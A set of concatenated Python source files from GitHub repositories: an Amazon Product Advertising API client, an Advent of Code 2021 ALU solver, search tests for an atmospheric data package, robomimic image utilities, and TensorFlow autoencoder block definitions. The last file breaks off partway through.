quoted_params = self._quote_params(params)\n server = DOMAINS[self.Region]\n\n msg = 'GET\\n' + server + '\\n' + '/onca/xml\\n' + quoted_params\n\n if isinstance(msg, unicode):\n msg = msg.encode('utf-8')\n if isinstance(self.AWSAccessKeySecret, unicode):\n self.AWSAccessKeySecret = self.AWSAccessKeySecret.encode('utf-8')\n\n signature = b64encode(hmac.new(self.AWSAccessKeySecret, msg, sha256).digest())\n urlinputs = (server, quoted_params, quote(signature))\n return 'http://%s/onca/xml?%s&Signature=%s' % urlinputs\n\n def execute(self, **kwargs):\n \"\"\"execute AmazonRequest, return response as JSON\"\"\"\n trying, try_num = True, 0\n while trying and try_num < 3:\n try:\n try_num += 1\n\n if 'headers' in kwargs:\n headers = kwargs['headers']\n del kwargs['headers']\n else:\n headers = {}\n\n response = requests.get(self._signed_url(**kwargs),\n timeout=self.timeout,\n headers=headers)\n trying = False\n except requests.exceptions.ConnectTimeout as err:\n LOGGER.warning('Error encountered: %s. Retrying...', err)\n time.sleep(3)\n status_code = response.status_code\n if status_code != 200:\n err = xmltodict.parse(response.text)\n err_code = err[self.Operation + 'ErrorResponse']['Error']['Code']\n err_msg = err[self.Operation + 'ErrorResponse']['Error']['Message']\n LOGGER.debug(response.text)\n LOGGER.error('Amazon %sRequest STATUS %s: %s - %s',\n self.Operation, status_code, err_code, err_msg)\n raise AmazonException(\n 'AmazonRequestError %s: %s - %s' % (status_code, err_code, err_msg))\n return xmltodict.parse(response.text)[self.Operation + 'Response']\n\n\n__all__ = ['ProductAdvertisingAPI']\n","repo_name":"userfine/AmazonProductAdvertising-APy","sub_path":"amazon/productadvertising.py","file_name":"productadvertising.py","file_ext":"py","file_size_in_byte":15200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74364415893","text":"\"\"\"\nAuthor: Darren\nDate: 24/12/2021\n\nSolving https://adventofcode.com/2021/day/24\n\nCreated an ALU computer, but turned out not to need it.\nUsing the computer class to compute the result of 9**14 input values won't do!\nSo instead, we need to work out what the input program is doing, \ndetermine a function z = f(w,z), and then determine values that lead to z=0.\n\nPart 1:\n - Take a 14 digit input number, and process digit by digit (start most significant).\n - Stop when our z value is 0.\n - The input program has 14 repeating blocks of 18 lines, i.e. one block per input digit.\n inp w add y 25\n mul x 0 mul y x\n add x z add y 1\n mod x 26 mul z y\n div z 1 * 1 (shrink) or 26 (exp) mul y 0\n add x 12 * -ve when div z is 26 add y w\n eql x w add y 7 * Varies\n eql x 0 mul y x\n mul y 0 add z y\n\n (Specific instructions will obviously be unique per input.)\n - Three lines (marked *) are variable.\n - z persists between blocks. Whereas x and y are both reset during the block.\n - Thus, z will be a function of w and previous z.\n - There are two types of instruction block:\n - Those where z expands, where next z = 26z+w+b\n - Those where z can shrink.\n - For the shrinkage type, next z can be given by:\n - z = z//26 (when x=0), where z shrinks.\n - z = z+w+b, where z stays of similar magnitude.\n - There are 7 instruction blocks of each type.\n - For expansions, input value makes little difference.\n - For shrinkage, we always want to make sure the shrink formula is satisfied, \n which is true when w = (z % 26) + a\n for -ve values of a as the parameter to the \"add x\" step.\n - We can compute the values of z for shrinkage types.\n - For expansion types, we just need to try all possible permutations of \n these 7 instructions. Thus, of the 14 input digits, we only need to brute force 7 of them, \n leading to 9**7 = 4.8m permutations.\n\nPart 2:\n Same as Part 1, but now we just want the minimum valid value.\n\"\"\"\nimport logging\nimport os\nimport time\nfrom itertools import product\nfrom tqdm import tqdm\n\nSCRIPT_DIR = os.path.dirname(__file__) \nINPUT_FILE = \"input/input.txt\"\n\nlogging.basicConfig(level=logging.DEBUG, \n format=\"%(asctime)s.%(msecs)03d:%(levelname)s:%(name)s:\\t%(message)s\", \n datefmt='%H:%M:%S')\nlogger = logging.getLogger(__name__)\n\nclass ALU():\n \"\"\" Simulate processor with four registers and six instructions \"\"\"\n def __init__(self) -> None:\n self._vars = {'w': 0, 'x': 0, 'y': 0, 'z': 0}\n \n self._input = None\n self._input_posn = 0 # which digit of the input value we're currently on\n \n self._instructions: list[tuple[str, list[str]]] = [] # list of instructions in the format [instr, [parms]]\n self._ip = 0\n \n @property\n def vars(self):\n return self._vars\n \n def _set_input(self, value: str):\n \"\"\" Take a number and store as a str representation \"\"\"\n assert value.isdigit, \"Must be number\"\n assert len(value) == 14, \"Must be 14 digit input\"\n self._input = value\n self._input_posn = 0 \n \n def _set_var(self, var, value):\n \"\"\" Sets the specified var to the specified value. \"\"\"\n if var not in self._vars:\n raise KeyError(f\"No such var '{var}'\")\n \n self._vars[var] = value\n \n def _reset(self):\n for var in self._vars:\n self._vars[var] = 0\n\n self._input = None\n self._input_posn = 0\n self._ip = 0\n \n def run_program(self, input_str: str):\n \"\"\" Process instructions in the program. \"\"\"\n self._reset() \n self._set_input(input_str)\n \n for instruction in self._instructions:\n self._execute_instruction(instruction)\n self._ip += 1\n\n def set_program(self, instructions_input: list[str]):\n \"\"\" Create a list of instructions, \n where each instruction is of the format: (str, list[str]) \"\"\"\n self._instructions = []\n \n for line in instructions_input:\n instr_parts = line.split()\n instr = instr_parts[0]\n instr_parms = instr_parts[1:]\n \n self._instructions.append((instr, instr_parms))\n \n def _execute_instruction(self, instruction:tuple[str, list[str]]):\n \"\"\" Takes an instruction, and calls the appropriate implementation method.\n\n Args:\n instr_and_parms (list): The instruction, in the format (instr, [parms])\n \n Raises:\n AttributeError if instruction is not understood\n \"\"\"\n # logger.debug(\"Instruction: %s\", instruction)\n instr = instruction[0]\n instr_parms = instruction[1]\n \n # call the appropriate instruction method\n try:\n self.__getattribute__(f\"_op_{instr}\")(instr_parms) \n except AttributeError as err:\n raise AttributeError(f\"Bad instruction {instr} at {self._ip}\") from err\n\n def int_or_reg_val(self, x) -> int:\n \"\"\" Determine if the variable is an int value, or the value is a register \"\"\"\n if x in self._vars:\n return self._vars[x]\n else:\n return int(x)\n \n def _op_inp(self, parms:list[str]):\n var = parms[0]\n assert self._input, \"Input value not set\"\n assert self._input_posn < len(self._input), \"Too many input digits!\"\n input_digit = int(self._input[self._input_posn])\n self._vars[var] = input_digit\n self._input_posn += 1\n \n def _op_add(self, parms:list[str]):\n \"\"\" Add a to b and store in a. Param b could be a var or a number. \"\"\"\n self._vars[parms[0]] += self.int_or_reg_val(parms[1])\n \n def _op_mul(self, parms:list[str]):\n \"\"\" Multiply a by b and store in a. Param b could be a var or a number. \"\"\"\n self._vars[parms[0]] *= self.int_or_reg_val(parms[1])\n \n def _op_div(self, parms:list[str]):\n \"\"\" Divide a by b and store in a. Param b could be a var or a number. \"\"\"\n parm_b = self.int_or_reg_val(parms[1])\n assert parm_b != 0, \"Integer division by 0 is bad.\"\n self._vars[parms[0]] //= parm_b\n \n def _op_mod(self, parms:list[str]):\n \"\"\" Modulo a by b and store in a. Param b could be a var or a number. \"\"\"\n parm_a = self._vars[parms[0]]\n parm_b = self.int_or_reg_val(parms[1])\n try:\n assert parm_a >= 0 and parm_b != 0, \"Integer division by 0 is bad.\" \n self._vars[parms[0]] %= parm_b \n except AssertionError as err:\n raise AttributeError(f\"Bad instruction: {parm_a} mod {parm_b}\") from err\n\n def _op_eql(self, parms:list[str]):\n \"\"\" Chec if a and b are equal. Store 1 if equal. Param b could be a var or a number. \"\"\"\n self._vars[parms[0]] = 1 if self._vars[parms[0]] == self.int_or_reg_val(parms[1]) else 0\n \n def __repr__(self):\n return f\"{self.__class__.__name__}{self._vars}\" \n\ndef main():\n input_file = os.path.join(SCRIPT_DIR, INPUT_FILE)\n with open(input_file, mode=\"rt\") as f:\n data = f.read().splitlines()\n \n COUNT_INSTRUCTION_BLOCKS = 14\n EXPECTED_INSTRUCTIONS_PER_BLOCK = 18\n \n instruction_block_size = len(data) // COUNT_INSTRUCTION_BLOCKS\n assert instruction_block_size == EXPECTED_INSTRUCTIONS_PER_BLOCK\n \n # Split all instructions into repeating blocks of instructions\n instruction_blocks: list[list[str]] = []\n for i in range(COUNT_INSTRUCTION_BLOCKS):\n instruction_blocks.append(data[i*instruction_block_size:(i+1)*instruction_block_size])\n \n alu = ALU()\n alu.set_program(data)\n valid_vals = compute_valid_inputs(instruction_blocks)\n if valid_vals:\n max_input_val = max(valid_vals)\n min_input_val = min(valid_vals)\n \n # check them by running them through the ALU\n for val in (min_input_val, max_input_val):\n alu.run_program(str(val))\n if alu.vars['z'] == 0:\n logger.info(\"%s verified.\", val) \n else:\n logger.info(\"%s does not work??\")\n else:\n logger.info(\"Fail bus, all aboard.\")\n\ndef compute_valid_inputs(instruction_blocks: list[list[str]]) -> list[int]:\n \"\"\" Our goal is determine valid values of w, \n where w is each successive digit of the 14-digit input value.\n The 14 input values are used in the 14 blocks of instructions.\n \n The 14 instruction types are across 2 types:\n - expansion, where div z 1.\n Brute-force all possible w values\n - shrinkage, where div z 26\n Determine specific values of w that will lead to shrinkage. \"\"\"\n\n # instruction types, based on \"div z\" instruction parameter\n SHRINKAGE = 26\n \n div_z_instructions = []\n add_x_instructions = []\n add_y_instructions = []\n \n for block in instruction_blocks:\n # Retrieve the param value from each instruction\n # The instructions we care about are at specific locations in the block\n div_z_instructions.append(int(block[4].split()[-1]))\n add_x_instructions.append(int(block[5].split()[-1]))\n add_y_instructions.append(int(block[15].split()[-1]))\n \n # Values of these variables in our input data\n # z [1, 1, 1, 1, 26, 1, 1, 26, 1, 26, 26, 26, 26, 26]\n # x [12, 12, 13, 12, -3, 10, 14, -16, 12, -8, -12, -7, -6, -11]\n # y [7, 8, 2, 11, 6, 12, 14, 13, 15, 10, 6, 10, 8, 5]\n \n # E.g. [False, False, False, False, True...]\n shrink_instructions = [z == SHRINKAGE for z in div_z_instructions]\n shrink_count = sum(x for x in shrink_instructions)\n assert shrink_count == 7, \"We expect 7 shrink types for our input\"\n \n # list of tuples by index, e.g. (False, 12, 7)\n instruction_vars = list(zip(shrink_instructions, add_x_instructions, add_y_instructions))\n\n # Get the cartesian product of all digits where any digit is possible\n # E.g. 9999999, 9999998, 9999997, etc\n any_digits = list(product(range(9, 0, -1), repeat=shrink_count))\n assert len(any_digits) == 9**shrink_count, \"Cartesian product messed up\"\n \n valid: list[int] = [] # Store valid 14-digit input values\n for digits_candidate in tqdm(any_digits):\n num_blocks = len(instruction_blocks)\n z = 0\n digit = [0] * num_blocks\n \n early_exit = False\n digits_idx = 0\n \n for block_idx in range(num_blocks):\n is_shrink, add_x, add_y = instruction_vars[block_idx]\n \n if is_shrink:\n # We want to compute a value w, where w = (z % 26) + a \n digit[block_idx] = ((z % 26) + add_x) # digit[block_idx] = w\n z //= 26 # New z is given by z = z//26\n if not (1 <= digit[block_idx] <= 9):\n early_exit = True\n break\n \n else: # expansion type, so just use the candidate digit\n z = (26 * z) + digits_candidate[digits_idx] + add_y\n digit[block_idx] = digits_candidate[digits_idx] \n digits_idx += 1\n \n if not early_exit:\n valid.append(int(\"\".join(str(i) for i in digit)))\n \n return valid\n\nif __name__ == \"__main__\":\n t1 = time.perf_counter()\n main()\n t2 = time.perf_counter()\n logger.info(\"Execution time: %0.4f seconds\", t2 - t1)\n","repo_name":"derailed-dash/Advent-of-Code","sub_path":"src/AoC_2021/d24_alu_cartesian_creating_input_digits/alu.py","file_name":"alu.py","file_ext":"py","file_size_in_byte":11783,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"67"} +{"seq_id":"19556212922","text":"import os\nimport pytest\n\nfrom HUGS.Modules import ObsSurface\nfrom HUGS.Processing import search\nfrom HUGS.ObjectStore import get_local_bucket\nfrom HUGS.Util import get_datetime\n\n\n@pytest.fixture(scope=\"session\")\ndef gc_read():\n get_local_bucket(empty=True)\n data_file = \"capegrim-medusa.18.C\"\n prec_file = \"capegrim-medusa.18.precisions.C\"\n dir_path = os.path.dirname(__file__)\n test_data = \"../data/proc_test_data/GC\"\n data_filepath = os.path.join(dir_path, test_data, data_file)\n prec_filepath = os.path.join(dir_path, test_data, prec_file)\n\n ObsSurface.read_file(filepath=(data_filepath, prec_filepath), data_type=\"GCWERKS\")\n\n\n@pytest.fixture(scope=\"session\")\ndef crds_read():\n get_local_bucket(empty=True)\n test_data = \"../data/search_data\"\n folder_path = os.path.join(os.path.dirname(__file__), test_data)\n ObsSurface.read_folder(folder_path=folder_path, data_type=\"CRDS\", extension=\"dat\")\n\n\ndef test_search_gc(gc_read):\n results = search(species=[\"NF3\"], locations=\"capegrim\")\n\n nf3_results = results[\"nf3_cgo_75m_4_medusa\"]\n\n metadata = {\n \"site\": \"cgo\",\n \"instrument\": \"medusa\",\n \"species\": \"nf3\",\n \"units\": \"ppt\",\n \"scale\": \"sio-12\",\n \"inlet\": \"75m_4\",\n \"data_type\": \"timeseries\",\n }\n\n assert \"2018-01-01-02:24:00_2018-01-31-23:33:00\" in nf3_results[\"keys\"]\n assert nf3_results[\"metadata\"] == metadata\n\n\ndef test_location_search(crds_read):\n species = [\"co2\", \"ch4\"]\n locations = [\"bsd\", \"hfd\", \"tac\"]\n\n start = None # get_datetime(year=2016, month=1, day=1)\n end = None # get_datetime(year=2017, month=1, day=1)\n\n results = search(\n species=species,\n locations=locations,\n find_all=False,\n start_datetime=start,\n end_datetime=end,\n )\n\n results_list = sorted(list(results.keys()))\n\n expected = sorted(['ch4_bsd_108m_picarro', 'ch4_bsd_248m_picarro', \n 'ch4_hfd_100m_picarro', 'ch4_tac_100m_picarro', \n 'co2_bsd_108m_picarro', 'co2_bsd_248m_picarro', \n 'co2_hfd_100m_picarro', 'co2_tac_100m_picarro'])\n\n assert results_list == expected\n\n assert len(results[\"co2_bsd_108m_picarro\"][\"keys\"]['2014-01-30-13:33:30_2019-07-04-04:23:30']) == 23\n assert len(results[\"co2_hfd_100m_picarro\"][\"keys\"]['2013-11-20-20:02:30_2019-07-04-21:29:30']) == 25\n assert len(results[\"co2_tac_100m_picarro\"][\"keys\"]['2012-07-26-12:01:30_2019-07-04-09:58:30']) == 30\n assert len(results[\"ch4_bsd_108m_picarro\"][\"keys\"]['2014-01-30-13:33:30_2019-07-04-04:23:30']) == 23\n assert len(results[\"ch4_hfd_100m_picarro\"][\"keys\"]['2013-11-20-20:02:30_2019-07-04-21:29:30']) == 25\n assert len(results[\"ch4_tac_100m_picarro\"][\"keys\"]['2012-07-26-12:01:30_2019-07-04-09:58:30']) == 30\n\n\ndef test_search_datetimes():\n species = [\"co2\"]\n locations = [\"bsd\"]\n\n start = get_datetime(year=2016, month=1, day=1)\n end = get_datetime(year=2017, month=1, day=1)\n\n results = search(\n species=species,\n locations=locations,\n find_all=False,\n start_datetime=start,\n end_datetime=end,\n )\n\n result_keys = results[\"co2_bsd_108m_picarro\"][\"keys\"]\n\n date_strings = [v.split(\"/\")[-1] for v in result_keys]\n\n assert date_strings == ['2016-01-19-17:17:30_2016-11-30-22:57:30']\n\n metadata = results[\"co2_bsd_108m_picarro\"][\"metadata\"]\n\n expected_metadata = {\n \"site\": \"bsd\",\n \"instrument\": \"picarro\",\n \"time_resolution\": \"1_minute\",\n \"inlet\": \"108m\",\n \"port\": \"9\",\n \"type\": \"air\",\n \"species\": \"co2\",\n \"data_type\": \"timeseries\",\n 'scale': 'wmo-x2007'\n }\n\n assert metadata == expected_metadata\n\n\ndef test_search_find_all():\n species = [\"co2\"]\n locations = [\"bsd\"]\n inlet = \"108m\"\n instrument = \"picarro\"\n\n start = get_datetime(year=2016, month=1, day=1)\n end = get_datetime(year=2017, month=1, day=1)\n\n results = search(\n species=species,\n locations=locations,\n find_all=True,\n start_datetime=start,\n end_datetime=end,\n inlet=inlet,\n instrument=instrument\n )\n\n bsd_results = results[\"co2_bsd_108m_picarro\"]\n\n assert bsd_results[\"metadata\"][\"site\"] == \"bsd\"\n assert bsd_results[\"metadata\"][\"species\"] == \"co2\"\n assert bsd_results[\"metadata\"][\"time_resolution\"] == \"1_minute\"\n\n key_dates = [daterange.split(\"/\")[-1] for daterange in bsd_results[\"keys\"]]\n\n assert key_dates == ['2016-01-19-17:17:30_2016-11-30-22:57:30']\n\n\ndef test_search_no_species(crds_read):\n locations = \"bsd\"\n\n results = search(locations=locations)\n\n expected_keys = sorted(['ch4_bsd_248m_picarro', 'co2_bsd_248m_picarro', \n 'co_bsd_248m_picarro', 'co_bsd_108m_picarro5310', \n 'n2o_bsd_108m_picarro5310', 'ch4_bsd_108m_picarro', \n 'co2_bsd_108m_picarro', 'co_bsd_108m_picarro', \n 'co_bsd_248m_picarro5310', 'n2o_bsd_248m_picarro5310'])\n\n assert sorted(list(results.keys())) == expected_keys\n\n\ndef test_search_with_inlet_instrument(crds_read):\n locations = \"hfd\"\n inlet = \"100m\"\n instrument = \"picarro\"\n species = \"CH4\"\n\n results = search(locations=locations, species=species, inlet=inlet, instrument=instrument)\n\n assert len(results[\"ch4_hfd_100m_picarro\"][\"keys\"][\"2013-11-20-20:02:30_2019-07-04-21:29:30\"]) == 25\n\n expected_metadata = {'site': 'hfd', 'instrument': 'picarro', 'time_resolution': '1_minute', 'scale': 'wmo-x2004a',\n 'inlet': '100m', 'port': '10', 'type': 'air', 'species': 'ch4', 'data_type': 'timeseries'}\n\n assert results[\"ch4_hfd_100m_picarro\"][\"metadata\"] == expected_metadata\n\n\ndef test_search_inlet_no_instrument(crds_read):\n locations = \"hfd\"\n inlet = \"100m\"\n species = \"CH4\"\n\n results = search(locations=locations, species=species, inlet=inlet)\n\n expected_keys = [\"ch4_hfd_100m_picarro\"]\n\n assert list(results.keys()) == expected_keys\n\n assert len(results[\"ch4_hfd_100m_picarro\"][\"keys\"][\"2013-11-20-20:02:30_2019-07-04-21:29:30\"]) == 25\n\n expected_metadata = {'site': 'hfd', 'instrument': 'picarro', 'time_resolution': '1_minute', 'inlet': '100m', \n 'port': '10', 'type': 'air', 'species': 'ch4', 'data_type': 'timeseries', 'scale': 'wmo-x2004a'}\n\n assert results[\"ch4_hfd_100m_picarro\"][\"metadata\"] == expected_metadata\n\n\ndef test_search_instrument_no_inlet(crds_read):\n locations = \"bsd\"\n species = \"n2o\"\n instrument = \"picarro5310\"\n\n results = search(locations=locations, species=species, instrument=instrument)\n\n expected_keys = [\"n2o_bsd_108m_picarro5310\", \"n2o_bsd_248m_picarro5310\"]\n\n assert sorted(list(results.keys())) == sorted(expected_keys)\n\n assert len(results[\"n2o_bsd_108m_picarro5310\"][\"keys\"][\"2019-03-06-14:03:30_2020-07-04-11:44:30\"]) == 7\n assert len(results[\"n2o_bsd_248m_picarro5310\"][\"keys\"][\"2019-03-06-13:23:30_2020-07-05-03:38:30\"]) == 7\n\n metadata_108m = {'site': 'bsd', 'instrument': 'picarro5310', 'time_resolution': '1_minute', \n 'inlet': '108m', 'port': '2', 'type': 'air', 'species': 'n2o', 'data_type': 'timeseries', 'scale': 'wmo-x2006a'}\n\n metadata_248m = {'site': 'bsd', 'instrument': 'picarro5310', 'time_resolution': '1_minute', \n 'inlet': '248m', 'port': '1', 'type': 'air', 'species': 'n2o', 'data_type': 'timeseries', 'scale': 'wmo-x2006a'}\n\n assert results[\"n2o_bsd_108m_picarro5310\"][\"metadata\"] == metadata_108m\n assert results[\"n2o_bsd_248m_picarro5310\"][\"metadata\"] == metadata_248m\n\n\ndef test_search_incorrect_inlet_site_finds_nothing(crds_read):\n locations = \"hfd\"\n inlet = \"3695m\"\n species = \"CH4\"\n\n results = search(locations=locations, species=species, inlet=inlet)\n\n assert not results\n\n\ndef test_search_bad_site_raises():\n species = [\"spam\", \"eggs\", \"terry\"]\n locations = [\"tintagel\"]\n\n with pytest.raises(ValueError):\n search(species=species, locations=locations)\n\n\ndef test_search_nonsense_terms():\n species = [\"spam\", \"eggs\", \"terry\"]\n locations = [\"capegrim\"]\n\n results = search(species=species, locations=locations)\n\n assert not results\n","repo_name":"hugs-cloud/hugs","sub_path":"tests/Processing/test_search.py","file_name":"test_search.py","file_ext":"py","file_size_in_byte":8255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73917155414","text":"\"\"\"\nThis file contains utility functions for visualizing image observations in the training pipeline.\nThese functions can be a useful debugging tool.\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\n\nimport robomimic.utils.tensor_utils as TensorUtils\nimport robomimic.utils.obs_utils as ObsUtils\n\n\ndef image_tensor_to_numpy(image):\n \"\"\"\n Converts processed image tensors to numpy so that they can be saved to disk or video.\n A useful utility function for visualizing images in the middle of training.\n\n Args:\n image (torch.Tensor): images of shape [..., C, H, W]\n\n Returns:\n image (np.array): converted images of shape [..., H, W, C] and type uint8\n \"\"\"\n return TensorUtils.to_numpy(\n ObsUtils.unprocess_image(image)\n ).astype(np.uint8)\n\n\ndef image_to_disk(image, fname):\n \"\"\"\n Writes an image to disk.\n\n Args:\n image (np.array): image of shape [H, W, 3]\n fname (str): path to save image to\n \"\"\"\n image = Image.fromarray(image)\n image.save(fname)\n\n\ndef image_tensor_to_disk(image, fname):\n \"\"\"\n Writes an image tensor to disk. Any leading batch dimensions are indexed out\n with the first element.\n\n Args:\n image (torch.Tensor): image of shape [..., C, H, W]. All leading dimensions\n will be indexed out with the first element\n fname (str): path to save image to\n \"\"\"\n # index out all leading dimensions before [C, H, W]\n num_leading_dims = len(image.shape[:-3])\n for _ in range(num_leading_dims):\n image = image[0]\n image = image_tensor_to_numpy(image)\n image_to_disk(image, fname)\n\n\ndef visualize_image_randomizer(original_image, randomized_image, randomizer_name=None):\n \"\"\"\n A function that visualizes the before and after of an image-based input randomizer\n Args:\n original_image: batch of original image shaped [B, H, W, 3]\n randomized_image: randomized image shaped [B, N, H, W, 3]. N is the number of randomization per input sample\n randomizer_name: (Optional) name of the randomizer\n Returns:\n None\n \"\"\"\n\n B, N, H, W, C = randomized_image.shape\n\n # Create a grid of subplots with B rows and N+1 columns (1 for the original image, N for the randomized images)\n fig, axes = plt.subplots(B, N + 1, figsize=(4 * (N + 1), 4 * B))\n\n for i in range(B):\n # Display the original image in the first column of each row\n axes[i, 0].imshow(original_image[i])\n axes[i, 0].set_title(\"Original\")\n axes[i, 0].axis(\"off\")\n\n # Display the randomized images in the remaining columns of each row\n for j in range(N):\n axes[i, j + 1].imshow(randomized_image[i, j])\n axes[i, j + 1].axis(\"off\")\n\n title = randomizer_name if randomizer_name is not None else \"Randomized\"\n fig.suptitle(title, fontsize=16)\n\n # Adjust the space between subplots for better visualization\n plt.subplots_adjust(wspace=0.5, hspace=0.5)\n\n # Show the entire grid of subplots\n plt.show()\n\n\ndef depth_to_rgb(depth_map, depth_min=None, depth_max=None):\n \"\"\"\n Convert depth map to rgb array by computing normalized depth values in [0, 1].\n \"\"\"\n # normalize depth map into [0, 1]\n if depth_min is None:\n depth_min = depth_map.min()\n if depth_max is None:\n depth_max = depth_map.max()\n depth_map = (depth_map - depth_min) / (depth_max - depth_min)\n # depth_map = np.clip(depth_map / 3., 0., 1.)\n if len(depth_map.shape) == 3:\n assert depth_map.shape[-1] == 1\n depth_map = depth_map[..., 0]\n assert len(depth_map.shape) == 2 # [H, W]\n return (255. * cm.hot(depth_map, 3)).astype(np.uint8)[..., :3]\n","repo_name":"ARISE-Initiative/robomimic","sub_path":"robomimic/utils/vis_utils.py","file_name":"vis_utils.py","file_ext":"py","file_size_in_byte":3726,"program_lang":"python","lang":"en","doc_type":"code","stars":294,"dataset":"github-code","pt":"67"} +{"seq_id":"22220676680","text":"import tensorflow as tf\nfrom tensorflow.keras.layers import Dense, BatchNormalization, concatenate, Activation, average,\\\n Conv1D, Conv2D, MaxPooling1D, MaxPooling2D, Flatten, Add, Multiply, Lambda, LSTM\nfrom tensorflow.keras import Model, Input\nfrom tensorflow.keras import backend as K\nfrom src.reparametrize_functions import *\n\n\nclass AE_blocks():\n \"\"\"\n Class that will initiate and save a block of tf.keras layers. Different architectures off the shelves.\n \"\"\"\n\n def __init__(self, input_dims, NN_dims, type=\"NNBlock_model\", activation=\"relu\", name=\"NN\", **kwargs):\n self.input_dims = input_dims #input dims of the block\n self.NN_dims = NN_dims #list of hidden layers dims\n self.activation = activation #layer activation to consider for each layer of the block\n self.name= name #name for the block\n self.block = getattr(self, type)(**kwargs)\n\n def __call__(self, inputs):\n return self.block(inputs)\n\n\n def NNBlock_model(self, **kwargs):\n \"\"\"\n\n :param kwargs: Necessary arguments\n :return: A sequential feedforward block of Dense layers\n \"\"\"\n x_inputs = Input(shape=(self.input_dims,), name=\"input_\"+self.name)\n x = x_inputs\n for idx, layer_dim in enumerate(self.NN_dims):\n x = Dense(units=layer_dim, activation=self.activation,\n name=self.name + \"_dense_{}\".format(idx))(x)\n\n return Model(inputs=x_inputs, outputs=x, name=self.name)\n\n\n def NNBlockCond_model(self, cond_dims, **kwargs):\n \"\"\"\n\n :param cond_dims: list of each condition inputs dimensions\n :param kwargs: Necessary arguments\n :return: A sequential feedforward Dense block with recall of the cond inputs at each layer\n \"\"\"\n x_inputs = Input(shape=(self.input_dims,), name=\"input_\" + self.name)\n\n x = x_inputs\n\n cond_inputs = []\n\n for c_dims in cond_dims:\n cond_inputs.append(Input(shape=(c_dims,), name=\"cond_input_\" + self.name))\n x = concatenate([x, cond_inputs[-1]])\n\n for idx, layer_dim in enumerate(self.NN_dims):\n x = Dense(units=layer_dim, activation=self.activation, name=self.name + \"_dense_cond_{}\".format(idx))(x)\n for c_input in cond_inputs:\n x = concatenate([x, c_input])\n\n return Model(inputs=[x_inputs] + cond_inputs, outputs=x, name=self.name)\n\n def NNBlockConv1D_model(self, cond_dims, **kwargs):\n \"\"\"\n\n :param cond_dims: list of each condition inputs dimensions\n :param kwargs: Necessary arguments\n :return: A sequential feedforward block, first applying a Conv1D layer on inputs, then a Dense block with recall of conds at each layers\n \"\"\"\n x_inputs = Input(shape=(self.input_dims,), name=\"input_\" + self.name)\n\n x = Conv1D(filters=self.input_dims, kernel_size=4, strides=1, padding=\"causal\",\n name=\"conv1D_layer\")(tf.expand_dims(x_inputs, axis=-1))\n\n x = Conv1D(filters=self.input_dims, kernel_size=10, strides=1,\n name=\"conv1D_layer_2\")(x)\n\n x = MaxPooling1D(pool_size= 3, name=\"pooling_layer\")(x)\n x = Flatten(name = \"global_ravel\")(x)\n\n cond_inputs = []\n\n for c_dims in cond_dims:\n cond_inputs.append(Input(shape=(c_dims,), name=\"cond_input_\" + self.name))\n x = concatenate([x, cond_inputs[-1]])\n\n for idx, layer_dim in enumerate(self.NN_dims):\n x = Dense(units=layer_dim, activation=self.activation, name=self.name + \"_dense_cond_{}\".format(idx))(x)\n for c_input in cond_inputs:\n x = concatenate([x, c_input])\n\n return Model(inputs=[x_inputs] + cond_inputs, outputs=x, name=self.name)\n\n\n def NNBlockLSTM_model(self, cond_dims, **kwargs):\n \"\"\"\n\n :param cond_dims: list of each condition inputs dimensions\n :param kwargs: Necessary arguments\n :return: A sequential feedforward block, first applying a Conv1D layer on inputs, then a Dense block with recall of conds at each layers\n \"\"\"\n x_inputs = Input(shape=(self.input_dims,), name=\"input_\" + self.name)\n\n x = LSTM(units=self.input_dims, activation=self.activation, recurrent_activation=\"tanh\",\n dropout=0.1, recurrent_dropout=0.05, return_sequences=False,\n name=\"LSTM_layer\")(tf.expand_dims(x_inputs, axis=-1))\n\n cond_inputs = []\n\n for c_dims in cond_dims:\n cond_inputs.append(Input(shape=(c_dims,), name=\"cond_input_\" + self.name))\n x = concatenate([x, cond_inputs[-1]])\n\n for idx, layer_dim in enumerate(self.NN_dims):\n x = Dense(units=layer_dim, activation=self.activation, name=self.name + \"_dense_cond_{}\".format(idx))(x)\n for c_input in cond_inputs:\n x = concatenate([x, c_input])\n\n return Model(inputs=[x_inputs] + cond_inputs, outputs=x, name=self.name)\n\n\n def InceptionBlock_model(self, cond_dims, **kwargs):\n \"\"\"\n\n :param cond_dims: list of each condition inputs dimensions\n :param kwargs: Necessary arguments\n :return: A feedforward block, with recall of each previous layers outputs\n \"\"\"\n x_inputs = Input(shape=(self.input_dims,), name=\"input_\" + self.name)\n x = x_inputs\n\n cond_inputs = []\n\n for c_dims in cond_dims:\n cond_inputs.append(Input(shape=(c_dims,), name=\"cond_input_\" + self.name))\n x = concatenate([x, cond_inputs[-1]])\n\n for idx, layer_dim in enumerate(self.NN_dims):\n x = concatenate([Dense(units=layer_dim, activation=self.activation)(x), x],\n name=self.name + \"_dense_inception_{}\".format(idx))\n\n return Model(inputs=[x_inputs] + cond_inputs, outputs=x, name=self.name)\n\n\ndef EmbeddingBlock_model(input_dims, emb_dims, has_BN=False, activation=\"relu\", name=\"NN_emb\"):\n \"\"\"\n\n :param input_dims: list, list of dimensions of the tensors ton consider\n :param emb_dims: list, list of lists to specify the NN block of each input. Empty if not to be embedded.\n :param has_BN: Boolean, to add batch normalization\n :param activation: str, layer activation parameter. Default = \"relu\"\n :param name: \"name of the block\"\n :return: TF Model, with embedded inputs concatenated with not changed inputs\n \"\"\"\n embeddings = []\n not_to_emb = []\n cond_inputs = []\n\n for i, cond_d in enumerate(input_dims):\n c_inputs = Input(shape=(cond_d,), name=\"emb_input_cond_{}\".format(i))\n cond_inputs.append(c_inputs)\n if len(emb_dims[i]) == 0:\n not_to_emb.append(c_inputs)\n else:\n first_emb = AE_blocks(input_dims=cond_d, NN_dims=emb_dims[i], type=\"NNBlock_model\",\n name=name + \"cond_{}\".format(i))\n emb_cond = first_emb(c_inputs)\n if has_BN:\n emb_cond = BatchNormalization()(emb_cond)\n embeddings.append(emb_cond)\n\n all_embs = concatenate(embeddings, name=name + \"_emb_concat\")\n\n last_emb = Dense(units=emb_dims[-1], activation=None, name=name + \"_last_reduction\")(all_embs)\n\n if has_BN:\n last_emb = BatchNormalization()(last_emb)\n\n emb_outputs = Activation(activation)(last_emb)\n\n if len(not_to_emb) != 0:\n emb_outputs = 